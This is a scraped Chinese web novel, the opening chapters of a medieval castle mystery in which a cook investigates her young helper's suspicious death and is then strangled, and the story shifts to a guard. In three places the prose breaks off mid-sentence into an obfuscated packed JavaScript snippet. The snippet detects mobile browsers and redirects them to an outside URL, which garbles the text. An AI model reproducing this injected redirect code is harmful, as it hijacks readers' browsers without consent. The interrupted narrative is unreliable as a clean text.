《一封情书》 2. 1-1 我第一次听说“卡尔”这个名字,已经是两年前的事了。 贝尔碧娜那小姑娘从家里休假回来就开始抱怨,说她父亲给她定下了一门亲事,对方是臭汉斯的侄子。 臭汉斯是城堡里的淘粪工。 现在他年纪不小了,这个职位早晚也要落到了他唯一的侄子身上。那个“卡尔”早晚也会变成“臭卡尔”。 “我才不要嫁给一个淘粪工!您都不知道他们有多臭,不用走近都能闻到他们身上的味道……要跟这样的人过一辈子我会疯掉的!” 看着那孩子气呼呼的样子,我又想笑又想劝,可最后想想还是算了。 谁没有年轻的时候呢? 我像她这么大的时候也会天天幻想自己在森林拾柴火的时候遇到危险,被一位骑士大人救下,然后互相一见钟情的场景。 可想象归想象,现实是现实。像我们这种农人家的女儿能进入伯爵阁下的城堡工作已经足够幸运,那些有身份的老爷们才不会正眼看我们。 而且说实话,刨除身上总是有味道这点,臭汉斯是个不错的人。 据我所知,他所有亲人都在十几年前的那次大饥|荒中去世了,他那所谓的“侄子”也不是他亲生的,只是个被亲生父母抛弃的弃婴。 那时候大家都吃不饱饭。 野草、树根、猫、狗、老鼠、爬虫……甚至有人会去偷绞刑架上的死人吃,谁也顾不上谁。 可他在那种条件下依然愿意从自己嘴里省出一口吃的,把那孩子养活了,凡是听说过这件事的人都会觉得他品德高尚,那由他养大的孩子应该也错不了。 而且在城堡工作的人,就算只是一个淘粪工,也要比做佃农好。 至少这是份稳定的工作,不会因为收成不好而挨饿,不需要跟狡诈的磨坊主打交道,也不用担心某些莫名其妙出现的税款…… 贝尔碧娜到底还年轻,这个世界在她眼中还很干净。 但总有一天她也会跟我、跟她的父母一样,放下那份幻想,接受现实,在父母的安排下跟一个普通男人结婚,过上平平淡淡的生活。 事情的发展也正如我所料。 两年过去,随着她慢慢长大,再提到那位“未婚夫”时,她总算不会生气了,但抱怨还是少不了。 “卡尔就像根木头,我从来没见过那么无聊的人!” 上次与未婚夫见面后,贝尔碧娜一边揉面团一边抱怨道:“你敢相信吗,黛拉阿姨?我们上次见面他就把我带到山丘上,就那样在草地上躺了一下午!我都无聊到睡着了,醒来他还问我下次要不要再来……这个世界怎么会有像他那么呆的人啊!兴趣居然是看云彩,真是比呆鹅还呆的呆瓜!” 话是这么说,但听她上扬的语调也知道,这两年的相处中她已经慢慢接受了这位“无聊透顶”的未婚夫。 这是件好事。 贝尔碧娜今年已经年满十六,到了该结束幻想、走向婚姻的年纪。 而臭汉斯的年纪也大了,前阵子已经正式退下来,由卡尔接替了他在城堡的工作,两人估计很快就要正式结婚了。 厨房里的人都是这么想的,大家都为这对年轻的新人感到高兴。 贝尔碧娜是个活泼讨喜的姑娘,可提起自己的婚事她也不免害羞起来。 那天就是这样,我们打趣了几句,她便说着“该给厄尔玛修士送午餐了”,红着脸跑出厨房。 我没想到那会是我们最后一次对话啊! 圣母在上……如果我知道,我一定拦住她,让她在晚走那么一会儿! 谁能想到事情会那么巧,厄尔玛修士所在的那栋塔楼上正在做修补,她在给那位隐士送饭的路上不幸被一块松脱的砖头砸中后脑,就那样去见了吾主…… 尽管后来总管先生托人送来了赔偿,可那又怎样呢? 人已经死了,给再多的赔偿也回不来了。 在贝尔碧娜的尸体被领走的那天,我第一次见到了“卡尔”。 那是个有些消瘦的年轻人,长得却不矮,瘦瘦高高的,像棵发育不良的云杉。 与贝尔碧娜常说的一样,他是真的很爱盯着天空发呆,一看就会看很久。 但与贝尔碧娜说得不太一样的是,他并不是真的那么木讷……至少我觉得,有那样一双眼睛的人不会是个笨蛋。 “您一定是黛拉阿姨,贝尔碧娜经常跟我提起过您。”他上前,隔着几步的距离对我说道,“您能带我去她出意外的地方看看吗?” 我想我该收回之前的评价。 先不说一见面就提出这样的要求……贝尔碧娜可是死了啊!那是已经与他相处了两年的未婚妻,即将过门的妻子,他怎么能表现得如此冷漠? 我不可避免地对这个初次见面的年轻人生出不满。 但我还是带他来到那面墙下,毕竟这也不是什么过分的请求。 他在那孩子去世的地方站了许久。 看着他鞋尖前那点点深色的痕迹,想到那孩子的笑颜,我不可抑制地捂住嘴,偏头不再去看。 “…………” “我跟她相处不多,她的很多习惯我并不清楚。” 沉默许久后,他突然看向我,用那毫无起伏的声调说道:“她平时,是习惯低着头走路吗?” 当然不。 贝尔碧娜是厨房里最活泼的蓝山雀,走起路来总是仰着头,高兴时脚步更是轻盈到仿佛能飞起来。 她从不畏惧任何人,大方又懂事。即使迎面遇到那些打猎归来、身上还沾着血的卫兵,她也会毫不畏惧地跟人打招呼。 只要与她接触过,没有人不喜欢她。 别说那些守卫,就算是伯爵阁下身边的骑士也有对她另眼相待的呢! 我发泄般说完这些,便试图从那年轻人脸上看到些不同的表情。 可他还是令我失望了。他的神情没有任何变化,只专注看看地面,又看看天空……他又开始看着天空发呆了。 我算是相信贝尔碧娜的话没有夸张,这可真是根没有感情的木头! 我彻底失去跟他交谈的心情,转身边走。 不过看他专注看天的样子,似乎也不是很在意这点……无所谓了,反正我跟这个年轻人应该不会再有什么交集。 贝尔碧娜的死只在那几天掀起过一点涟漪。 尽管她生前是那样一个讨人喜欢的姑娘,可死了就是死了,伤春悲秋都是贵妇们的特权,我们这些还需要为自己讨生活的人实在没有多余的力气去缅怀一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176541|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死人。 我很快有了新的帮厨,也是个手脚麻利的姑娘。 只是与贝尔碧娜不同,她很沉默寡言,一天到晚都听不到她说超过十句话,总归让人有些寂寞…… 不,这样不对。 玛丽也是个好姑娘,我不该总是拿她跟贝尔碧娜做比较。 说到底,我还是在想念那个姑娘。 她总让我想起我那可怜的大女儿……如果她能长大,一定也会像贝尔碧娜一样明媚活泼,仅仅是看到晴天就会开心地哼起小曲…… 真是年纪大了,光是想起就忍不住想要流泪。 不过总会过去的……只要时间过去得够久,再心痛的感觉也会被冲淡,对此我可是有充足的经验。 深吸一口平复心情,看看外面的天色,居然已经到下午了。 今天的厨房内有些冷清。相对的,后堡场的方向传来一阵接一阵的笑闹声,我这才想起今天那边正在举行什么活动,大概是一场骑马比武的练习赛吧。 不久前雅各布少爷的长子出生了,也是伯爵阁下的长孙。 伯爵阁下年过五十才有了第一个孙子,自然高兴坏了,当场就表示要为新出生的小少爷提前举办一次马上比武。 时间安排得匆忙,总管莫迪凯先生这几天估计都忙昏了头,练习赛更是三天两头就来一次,倒是让城堡内的气氛活泼了不少。 春天到了,人也该多出去走走,说不定也能让心情变好。 我擦擦手,对还留在厨房中的帮厨们嘱咐了几句,便向后堡场的方向走去。 此时的后堡场十分热闹。 看来总管先生为这次庆典费了不少心思。不但有比赛可看,还请来了不少杂耍艺人,连熊都弄来了两只。 “黛拉奶奶!你也来看熊啦!” 发现我走进,围在笼子边的其中一个孩子转过头,朝我挥手打起招呼。 那是奥托家的小汉斯。 他的父亲曾是我亡夫最得意的徒弟,现在也是城堡里数一数二的铁匠。 小汉斯现在年纪还小,还没到能学习打铁的年纪,大概也是因此才有空闲来这边玩……不过如果他父亲知道他居然敢把手伸进装熊的笼子里,估计他这辈子都不要想再来后堡场玩了。 我赶紧把这胆大包天的小孩拉到一旁,站定后仔细检查身上有没有事,这才发现他的头上居然鼓了个包。 “这、这不是今天弄出来的,是前天……前天不小心……” 也许是被我严厉的口吻吓到,小汉斯连忙捂住头,磕磕绊绊地解释道:“是真的,这个我爸妈都知道……之前隔壁的丽娜阿姨和她丈夫在砸东西吵架,有个锤子柄从二楼飞出来砸到的……” 这、这也太危险了! 还好只是从二楼扔出来,还好只是根木头做的手柄不是铁锤,不然小汉斯的头估计也要跟贝尔碧娜一样…… 这么想着,我拨弄男孩发顶的手却慢慢停下了。 我突然想起了那个叫卡尔的年轻人,想起了他说过的话。 【我跟她相处不多,她的很多习惯我并不清楚。】 【她平时,是习惯低着头走路吗?】 我看着小汉斯头顶的鼓包,一股凉意从脚后跟窜到了后脑。 3. 1-2 直到我将小汉斯送回他母亲身边,胸口的心跳也久久无法平息。 我不知道为什么我突然会生出这样的想法……也许只是我想多了,也许贝尔碧娜当时确实在低头…… 低一下头,多么正常的动作,也许这只是一个巧合,也许只是一个巧合…… 毕竟贝尔碧娜只是个再普通不过的姑娘,谁会想要她的命啊! 我不断说服自己不要多想,可越是想要逃避,那孩子的模样就越是清晰。 每当夜晚降临,她的笑脸和最后的死状都会交替出现在眼前……血淋淋的伤口在黑夜变得更加清晰,已经凝固的黑色血块重新变得鲜艳黏稠,流过眼角,流过面颊和嘴角,最后与僵硬的五官组成一个可怖的形状。 当我第三次惊叫着从床上弹起时,我就知道我逃不过了。 我必须去调查,我必须把心中所有疑问都解开,否则我再也无法安心回到正常的生活。 下定决心后,我开始行动了。 第一个我打算询问的对象,当然是那块“凶器”——那块砖头原本的使用者——负责修理那栋塔楼的工人和石匠。 对厨房里的其他人来说也许很难接触到他们,但对我来说这并不算难。 我有个好丈夫,一个优秀的铁匠,也是个老好人,他生前的好人缘让我受益至今。 虽然我现在已经不常与城堡中的工匠们来往,工匠区也出现了很多没见过的新面孔,但老一辈的工匠们都还对我很客气,只是找人问几句话并不难。 一天傍晚,我偷偷把几块熏肉盖到面包下,挎着篮子造访了曾经的邻居——石匠安塞的家。 熏肉和新鲜的面包快速拉近了我与他们的距离,闲聊一阵后,我开始把话题引向近期城堡中的新鲜事。 最近城堡内最大的新闻,当属伯爵阁下的孙子出生这件事。 雅各布少爷结婚一年就生出了儿子,这实在让人高兴……不过只生出一个孩子还不能放松警惕。 毕竟过去的安娜夫人——伯爵阁下的第一任妻子,那位可怜的侯爵小姐,在生下第一个孩子后身体就变得不太好了。之后的八年,这位前任伯爵夫人一直饱受接连怀孕并不断流产的煎熬,连带着伯爵阁下也总没个笑脸,城堡里的所有人自然都没好日子过…… “哎哎,我也记得……那时候的伯爵老爷可是难伺候得很呐!” 安塞灌下两杯酒,大咧咧地说道:“记得当时我们在给主楼西塔楼那边补墙,正在给墙面刷灰泥呢,安娜夫人正巧散步路过,被灰泥那股味道熏到了,吐着吐着就流产了……吾主在上,我们当时也是吓坏了,可她会流产真跟灰泥没关系啊!黛拉你应该也记得吧?当时珍也怀着孕,她可是大着肚子参加了调灰泥的过程,一点事都没有!可伯爵老爷就非说是灰泥的问题,不让我们涂了,那可怎么行?没有涂过灰泥的墙可不结实!一旦遇到攻城那都挺不住一下!” “是这个道理,这种地方可千万不能凑合。就算没遇到攻城,这平时风吹雨淋的,一旦有块砖头脱落了,砸到人谁来负责啊?”机会难得,我赶紧顺着他的话唉声叹气,“就像我之前的那个帮厨,就在给厄尔玛修士送饭的路上被落下的砖头砸死了……你说事情怎么就这么巧啊,她可就快结婚了,偏偏遇到了这种事……” “你说的这事我也听说了,是巴斯那个蠢货做的孽。”安塞端着酒杯,面露鄙夷,“那个酒鬼经常大白天就喝得醉醺醺的,手脚不利索也不是一天两天了,就是这次不走运、咳!我是说那姑娘,不走运从那家伙负责的区域路过……不过那家伙这次也算是彻底完了,为了免刑把自己的全部身家都赔了进去……” “……可我怎么听说,巴斯从今年开始就已经戒酒了?” 安塞的妻子珍刚从厨房忙完,一边用围裙擦手一边坐到桌旁:“听说他最近一直在跟村里的一个寡妇献殷勤,说不定也快有好消息了,为了攒钱已经好几个月没去买酒……而且当时逮到他的时候他不是没承认吗?” “都闹出人命了谁会承认啊?再说如果不是他不小心弄掉的,那砖头还能是自己长腿从上面跳到地上?” 安塞的话确实有道理。 虽然石头很常见,但切割好的石料也不是普通人能接触到的。尤其是用来修补城堡的石砖,每一块都按规格切好、由专门的男工背着背篓运上去,所有的过程都有人看着……除非是经手这些的人,其他人很难在别人不注意的时候偷走石砖。 不过具体情况如何,我决定还是去找当事人问清楚。 寻找那名叫“巴斯”的粗活石匠稍微有些麻烦,毕竟他已经被总管先生赶出了城堡,现在居所不明。 好在由于近期堡内即将举办庆典,附近村镇的人进出城堡的次数也跟着增多了,倒是方便我向他们打听巴斯的去向。 感谢圣母的仁慈,巴斯并没走太远,还暂居在镇子的旅馆里。 我借口身体不舒服,请假去了趟山下的镇子,很快就找到了他。 巴斯的状态不太好。 他一条腿瘸了,脸上也有不少伤口和淤青,显然在离开城堡前受了不少教训。 我并不同情他。比起贝尔碧娜的一条命,他这点伤实在不算什么。 但我需要他探明真相,此时也只能暗暗压下胸中的愤怒,尽量心平气和地向他询问那天的事。 “吾主在上——让我向谁发誓都行!那小姑娘的死真跟我没关系!” 我没想到,我刚问出一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176542|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原本还抱着酒杯、颓废趴在桌子上的男人就像离了水的鱼般弹了起来。 他的反应实在太大,那扑面而来的愤怒让我有那么一瞬间真的产生了动摇。 “你是说,那块石砖不是你弄掉的?” “哦、哦……你说那个,那确实是我弄掉的……但我当时就立刻探头去看了,当时底下空荡荡的根本没有人!”他的眼神游移一瞬,却又很快坚定起来,杯子磕在桌面发出“砰砰”的响声,“底下没人我就没管,反正也不会有人去偷一块砖,我就想等下工后再去拿……谁能想到莫迪凯那个不要脸的家伙居然就用这个诬陷我是杀人凶手!他就是个草包!自己找不到凶手就推我出来当替罪羊,就是想赶紧把这桩麻烦事了结!” 我感觉到有很多人看过来,紧张让我不自觉地整理了下头巾,又赶紧朝对方比出一个手势,将人带到僻静的地方。 “你真的看清了,砖头落下的时候下面没有人?” “我的眼神还是不错的。总不可能连砖头都看清了,却连旁边躺了个那么大一个人都注意不到!”巴斯指着自己的眼睛,激动道,“真的没有人!他们跟我说有人被落下的砖头砸死时我还以为活见鬼了呢!” 是啊。 当时那块染血的砖头就落在贝尔碧娜身边,且那砖头的位置比尸体更靠近塔楼的墙体,如果看到了砖头就不可能看不到贝尔碧娜的尸体。 那现在的问题只有一个:这个男人到底是不是在说谎。 可都到这个地步了,他到底还有什么理由说谎? 事件已经了结,赔偿已经给出就不可能再要回来。而我只是一个厨娘,就算知道这些也无法帮他重新回到城堡工作,他又有什么必要向我说谎呢? 带着这个疑问,我重新踏上回城堡的土路。 我不知道我是否还要调查下去。 我隐隐感觉到某种危险正在靠近,可我还是忍不住想要继续…… 如果那只是一场意外,像我的孩子那样,是我们无法阻止的、来自吾主的召唤,我也许真的会随着时间渐渐淡忘……可如果不是…… 贝尔碧娜,那孩子本该在今年结婚,也许很快就会有自己的孩子。 她和卡尔都在城堡里工作,两人加起来的工资不算低,她还在厨房工作,吃饭上就能省下不少开支,好好经营也许很快就能攒出一笔钱。 她工作很认真,手也巧,我已经打算把我传家的糖雕手艺传给她,这样等我不能工作了,她也能在厨房站稳脚跟…… 她的人生才刚刚开始,她本该有一段美好的人生…… 她不该就那样死去。 我抓住差点被夜风吹走的头巾,紧紧攥在手心,一步步朝城堡的方向走去。 4. 1-3 尽管下定决心要继续调查,可真想要去做时,我发现我已经没什么能做的事了。 石匠巴斯的话最多只能证明贝尔碧娜的死并不是一场意外。 但如果她真死于谋杀,又会是谁对她抱有如此大的恶意? 城堡内的工作并不算轻松,厨房中也只有每周的礼拜日能休息半天,有时候连半天都休不到。 她是我的帮厨,除了那半日的时间她几乎都与我在一起。休假的那半日她大部分时间要跟家人去教堂做弥撒,现在又有了未婚夫,两人说说话半天就过去了……我实在想不到她会在这么短的时间里惹上什么会要命的事。 也许是她的家人? 但她的父母都不在城堡工作,甚至不在镇子里…… 还是……卡尔? 可一个淘粪工能结下什么仇啊! 谁看到他都要离得远远的,没人喜欢跟一个浑身臭味的人打交道。按照常理说,他会惹上杀身之祸的机会应该比贝尔碧娜还少…… 等等……总不会是卡尔做的吧? 虽然我没亲眼见过太多杀人案,可因情感纠纷出现的伤人或杀人事件每年都会出几件…… 是啊,城堡内与贝尔碧娜相熟的人,除了厨房内的人就只有他了……如果是他,要接近贝尔碧娜会很容易,想要趁机偷袭她也很容易……如果是他,一切是多么顺理成章啊! 可回想起那个年轻人的脸,回想起他独自站在那里、仰头看向天空的模样,我又迟疑了。 如果他真是凶手,又为什么要特地让我把他带到贝尔碧娜出事的地点,又为什么要说出那一番话呢? 如果不是他那句问话,我可能到现在都不会发觉贝尔碧娜的死有异状……如果他是凶手,为什么要做这种多余的事? 脑子里像是被系了个死结,怎么都打不开,怎么都想不通。 我原本想要先去找卡尔。 我对他的了解实在太少了,不需要试探,只是单纯交流一下也能让我心中更有底。 可不知不觉地,我的双脚居然带我走到了贝尔碧娜出事的地点。 经过几日的时间,中间又下了场雨,所有的痕迹都不见了。 但我还是准确找到了那个位置,鬼使神差地,我像那天的卡尔一样,仰头向上看去。 西塔楼对整栋主楼来说算是“偏僻”,是伯爵一家人都很少来的地方。 尤其是这个角度能看到的一排房间,据说那是很多年前的某位伯爵阁下为隐士们提供庇护的房间。不过现在的伯爵阁下并不喜欢他们,随着老人们去世,目前还在世的隐士也只有厄尔玛修士一个人了。 因为伯爵阁下的态度,城堡上下对厄尔玛修士的态度也很微妙。 那些长期在主楼行走的侍者们惯常会看上面人的脸色,眼里根本不会装下主人不在意的人,即使作为隐士的厄尔玛修士平时也只需要一点水和食物。 说起来,贝尔碧娜还算是那位隐士的救命恩人。 如果不是她发觉那位负责送饭的侍者已经五天没来取饭食,多事来西塔楼这边看了眼,那可怜的老家伙就要饿死在他的小屋里了。 贝尔碧娜可怜他的遭遇,她就是那么一个善良而虔诚的姑娘,在那之后就主动担负起给隐士送饭的工作…… 我仰着头,紧盯着那扇紧闭的窗户。 这么近的距离,贝尔碧娜又是在为他送饭的时候出的事……不知厄尔玛修士那天有没有看到什么…… “哎,这不是厨房的黛拉大妈吗?” 我被这突然出现在身后的声音吓了一跳。 转头去看,是个半生不熟的男人,等对方走近才想起他的名字。 基尔伯托的杰恩,是城堡中的一名守卫。 仗着一张还算英俊的脸和讨人喜欢的舌头,年轻的姑娘都对他印象不错。 “你怎么跑到这边来了?啊……”他边说边走近,忽地像是想起什么,脸上闪过一丝尴尬,“你现在的这个位置,是那姑娘当时……” 似乎是看出我的意外,他很快跟着解释了一句:“当时就是我和昆特最先发现她的。” 这可真是个令人惊喜的巧合! 我当然也想去找第一个发现尸体的人,可当时的场面太乱了,大家都说是巡逻的守卫发现的,但谁也没注意具体是谁。 我在工匠们那边还有些人脉,可守卫这边并不认识什么人,再加上半个月后才特地去打听总归有些刻意……我都在心里放弃这条线索了,却没想到这么巧能碰到! 正好他主动提起这个话题,我赶紧向他询问起当时的场景。 “唔,这也没什么不能说的……那天下午不是后堡场有场练习赛吗?我和昆特那天正好轮班休息,就说一起去那边看看。”杰恩挠挠鬓角,眼珠上移回忆了下才继续道,“然后就是……嗯……昆特突然着急上厕所,这边不是一般都没人吗,他就往这边走了……实在没想到啊,昆特当时也吓了一条呢!” 昆特……这个名字我不算熟悉。 这也很正常,城堡中的守卫那么多,除了像杰恩这种喜欢撩拨小姑娘的轻浮家伙,我们这些在厨房工作的人一般都不会遇到他们。 不过轻浮也有轻浮的好处,这样的人总是容易心软。 就像此时,我只是做出伤心的模样哀求,杰恩就很爽快地答应有时间会将那位“昆特”带来见我一面,让他详细说明一下发现尸体的全过程。 与杰恩不同,昆特是个沉默寡言的大个子。 说实话,当他第一次抬眼、对上他的视线时我有些被吓到了……他有一双太过凶悍的眼睛,只是一眼就让我感到心底发毛。 可那也只是一瞬间。 他是个很讲礼貌的青年,声音沉稳,说话条理清晰,我几乎要觉得之前都是我的错觉了。 昆特说的过程与杰恩大差不差,但正当我感到失望,再次陷入沉思时,他第一次主动开口了。 “你为什么突然想起询问这件事?是觉得那姑娘的死有什么异常吗?” 他紧盯住我,像是盯住猎物的狼。 与他对视的瞬间我感觉全身的鸡皮疙瘩都起来了,头皮在发麻,连带着舌头都变得不太灵敏。 “行了昆特!黛拉大妈和那姑娘关系很好,她多问几句也没什么,你别吓到人家……” 好在杰恩就在旁边,及时打哈哈着就把这件事带过了。 我看着两人离去的背影,直到他们完全消失在视野,才感到那股恶寒从身体散去。 那个人不对劲……绝对不对劲! 我扶着墙才勉强站稳,心里有一道声音大喊着,全身每一根汗毛都在呐喊。 那不是一个正常人该有的眼神…… 即使是最凶悍的屠夫也不会有那样的眼神,我见过那样的眼神…… 很久之前,当我还是个孩子,曾经有一伙穷凶极恶的强盗逃进了镇子。 他们被士兵抓住并处决时我去看过。领主的侍者宣读了他们的罪状,被他们杀死的人数我已经记不清了,可他们的眼神我到现在还记得。 那是杀人犯的眼神,绝对不会错。 杀人犯的话可以相信吗? 此时此刻,我的心底已经有了一个答案。 那天之后,我开始向周围的人打听这位名叫“昆特”的守卫。 我知道了他并非本地人,会进入城堡成为守卫的过程也很特殊。 一般来说,城堡中的守卫都来自伯爵领中的领民。 他们可能是家中的次子或小儿子,因为交不起税金不得不每年来城堡服役几个月。或者更贫困的家庭,直接把儿子送来当了终身守卫。 但“昆特”不一样。 他来自某支雇佣兵队伍,后来与队长闹了矛盾而离开,逃跑路上正巧遇到狩猎的伯爵阁下,主动上前寻求伯爵阁下的庇护。 他体格健壮,骑术剑术无一不精,伯爵阁下没有理由拒绝这样的人加入。 按理说,他这样的人不该仅仅在守卫这个位置上,不过近些年伯爵领周边都很太平,没什么战事也没机会立功,这才让他一直待在守卫的位置上。 也许雇佣兵的经历能解释他为什么有一双那样凶狠的眼睛,可大概是直觉作祟,我总是会不自主地去收集、观察那个人的动向。 我发现昆特是个十分孤僻的人。 他已经来到城堡一年多,却除了同屋的几个室友外都没有常说话的人,杰恩算是最了解他的人了。 比起如同铜墙铁壁的昆特,杰恩就像一块腐朽的烂木板,随便推一下就能露出不少东西。 他跟所有男人一样喜欢美酒,而我跟堡中的酒娘也有些交情,花点小钱就能偷偷买到普通卫兵难以喝到的上等麦芽酒。 酒水下肚,一切都好说很多了。 “昆特那家伙啊……别看他好像块石头,其实心里也想着往上走呢!” “尤其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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西塔楼这边确实僻静,我从傍晚待到天色完全变黑,只遇到一队巡逻路过的守卫,他们还因为我及时躲到树后没看到我,说笑着就擦着墙根过去了。 我松了口气,却又不可避免地有些低落。 我在这里反复寻找了这么久,连塔楼的墙壁都快敲了一遍,却一无所获。 说到底,我连自己要找什么都没有一个概念……只是不甘心,那一点不甘心驱使着我,才让我在没有一点证据的情况下、只凭借那点感觉就来到这里…… 在树后静静站了半晌,我便准备回去了。 可夜晚总归比白日不同。我最近几年年纪大了,视力到了晚上总比不上白天,如今只能一边摸索身边的东西一边凭借记忆往回走。 忽地,我摸索树干的手指传来奇怪的触感。 那是一个树洞,不算大,碰巧被我摸到了,手臂就不自觉地往里伸了两下……紧接着,我摸到了一个不该在树洞里出现的东西。 那是一个布包。我将其拎了出来,打开,发现里面居然包着一把手|弩。 这手|弩比常见的弩要小,估计射程也不会太远,杀伤力更比不上架在城墙上的重弩,可这不是最重要的…… 我摸着弩机上的某处,那种异样的触感让我大脑传出一声嗡鸣。 今夜的天气很晴朗,一丝云彩都没有,连月光似乎都更明亮一些。 我从树影中走出,借着月光仔细去看,果然发现了一块被抹除的痕迹。 我的丈夫曾是尼托伯爵城堡内最出色的铁匠,托他的福,我也对城堡内的武器有些了解。 像弩机这种精巧玩意的原理我自然看不懂,但我知道,凡是城堡里铸造出的弩机,都会在一个特定的地方印上尼托伯爵的家族徽章。 现在,我手里的这把弩上并没有这样的徽章。 相反,我在另一个地方摸到了某个徽章被抹除的痕迹…… 这把弩根本不是城堡内制造出来的! 可城堡里怎么会有外来的武器,还藏在树洞里……这到底是谁带进来…… 脑中的思绪尚未理清,一阵风从身后袭来,我感觉到有什么勒紧了我的脖子,可那已经来不及了。 我再也没能喊出声,我试图挣扎,可只在自己的脖子上留下些许抓痕。 随着喉咙处传来的力道愈加收紧,我只觉得眼前开始发白…… 最后的最后,我的眼前也只有一片漆黑的树影。 当它们的轮廓都开始模糊的时候,我似乎看到了贝尔碧娜……那个可怜的姑娘,一边哭一边对我说着什么,可惜我什么都听不到…… 对不起啊,贝尔碧娜,我没能帮你找到凶手。 意识完全消失前,我向那道透明的幻影伸出了手。 至于有没有碰到,只有吾主才知晓吧。 6. 2-1 最近的运气真是差到了极点。 不但跟人扔骰子输光了三个月的工钱,连打个瞌睡都能被抓包,还被罚来看大门…… 对着有些刺目的阳光,我忍不住大大打了个哈欠。 大门护卫真是个烦人的差事。 尤其是最近,马上就到降临日了,为了准备那劳什子的庆典,进出城堡的人比平时更多,每来一批人我都要问清楚他们的身份……真是麻烦得要死! 不就是生了个孩子,真不知道伯爵老爷有什么可激动的,那孩子又不是他生的! 让上一批人过去,我没有抬头,只习惯性挥挥手示意后面的马车上前。 然而等上一辆马车都要走进城门了,排在后面的马车也没动。 我抬眼去看,却见那个站在马边的年轻人居然还优哉游哉地抬头望天,攒了半天的火气立刻“腾”的一下窜上脑子。 “你瞎了吗!不进去就给我滚回你的泥巴地里!” 这种贱驴我再了解不过。 对他好声好气说话没用,非要骂他打他才肯动一下…… “哈哈,别这么大火气啊,杰恩。我们还真不能赶他走……” 哈特笑着拍拍我的肩,又朝前方大喊一声,那人终于收回视线,手握住缰绳轻轻拽了下。 那匹老马似乎也跟主人一样反应迟钝,直到被拉了两下才慢悠悠抬起蹄子,便拉着身后的板车朝前走来。 随着马车靠近,一股扑面而来的屎味总算让我知道他是做什么的了。 一个淘粪工,城堡里最避之不及的一种人。 那味道冲得我瞬间失去了抱怨的欲望,此时此刻只想在那匹该死的老马身上抽一鞭子,让那股可怕的臭气快点离开。 “那人有点面生啊,是新来的?” 后面没有人要进城,几个大门护卫也开始闲聊。 “那是臭汉斯的侄子卡尔。”哈特解释道,“汉斯年纪大了,今年创世节后就开始把他带进来熟悉环境,现在已经能完全接班了。” “可他看上去不太聪明啊,刚刚那样感觉傻乎乎的……不会真是个傻子吧?” “不不,当然不是!是有原因啦!” 哈特朝我们挤眉弄眼一番,等人都聚过来才神秘兮兮地小声道:“半个月前厨房有个帮厨被砖头砸死了你们还记得不?那姑娘就是卡尔的未婚妻,这可怜的家伙肯定还在为这事伤神呢!” 一段诡异的沉默后,其他守卫立刻七嘴八舌地讨论起来。 “我知道我知道!那姑娘叫贝尔碧娜是吧?她可是厨房里最漂亮的姑娘,那小子也太好运了!”有人激动道。 “好运什么?人都死了……”另一人叹息道,“那是个好姑娘,之前我不知道吃坏了什么突然肚子痛倒在地上,是她喊人过来帮忙把我抬到室内,还请来了医生……怎么就倒霉遇到这种事啊。” “这种事谁能想到,一切都是吾主的安排罢了……哎,杰恩你今天怎么这么安静?” 哈特说到一半突然看向我:“脸色也不太好啊,是哪里不舒服吗?” “昨晚喝得有点多,今天太阳又这么晒……” 我苦笑一声,抹了把脸上的汗:“本来想着上午在城楼上能睡一会儿,谁能想到克里斯那家伙今天会突然跑过来巡视……” “哎,那是挺倒霉。不过你这家伙还有钱买酒呢?乔布前几天还在吹牛,说把你的裤衩都赢过来了!” “呵呵,哪有那么夸张。喝一杯的钱总是有的……” 我含混说了一句,但想要打发哈特这个多事精可没那么容易……好在此时又有一队人浩浩荡荡朝城堡的方向驶来。 门楼上方跟着传来一阵号角声,看来这次来的是一队身份贵重的客人。 果不其然,不等那队人走进,总管莫迪凯先生便和两名骑士匆匆出现在了大门口。 “马希弗伯爵家的使者要到了,都给我打起精神!” 莫迪凯拍了两下手,视线扫到我时顿了下,又装作没看到般移开,继续朝周围人喊道:“站好了!要是给伯爵阁下丢脸了可饶不了你们!” 装模作样的老东西。 我在心中冷笑一声,面上却乖顺地跟着队伍分别在大门两侧站好,挺直腰背,直到那几位尊贵的客人进入大门才放松下来。 车队走后,再度变得无聊起来的守卫们立刻重启了八卦。 “马希弗伯爵……连他们都派人来了啊?我记得他的领地还挺远的……” “这有啥?佩秋拉夫人第一次生孩子,娘家来人看一眼不是很正常?” “话是这么说,但莫迪凯先生亲自来迎接是不是太正式了?” “哎呀,你们是不知道伯爵阁下对这个孩子有多重视!听说儿媳生出的是个男孩,直接大笑了足足一刻钟!”哈特用他那特有的、如同吟游诗人般夸张的口吻描述道,“远的不说,听说连威登堡侯爵都收到了邀请函呢!” “哇——那可真是……”有人忍不住咋舌,“不过那位侯爵阁下应该不会来吧?” “当然不会!不过他要真来我们就有乐子看了……” 说到这,大家都忍不住笑出声,我也难得跟着笑了。 要说伯爵老爷这事做得也很缺德……毕竟那个刚有了儿子的雅各布少爷可是伯爵老爷第二任妻子生的,而伯爵老爷的第一任妻子——来自威登堡的安娜夫人所出的长子早在几年前就意外去世了。 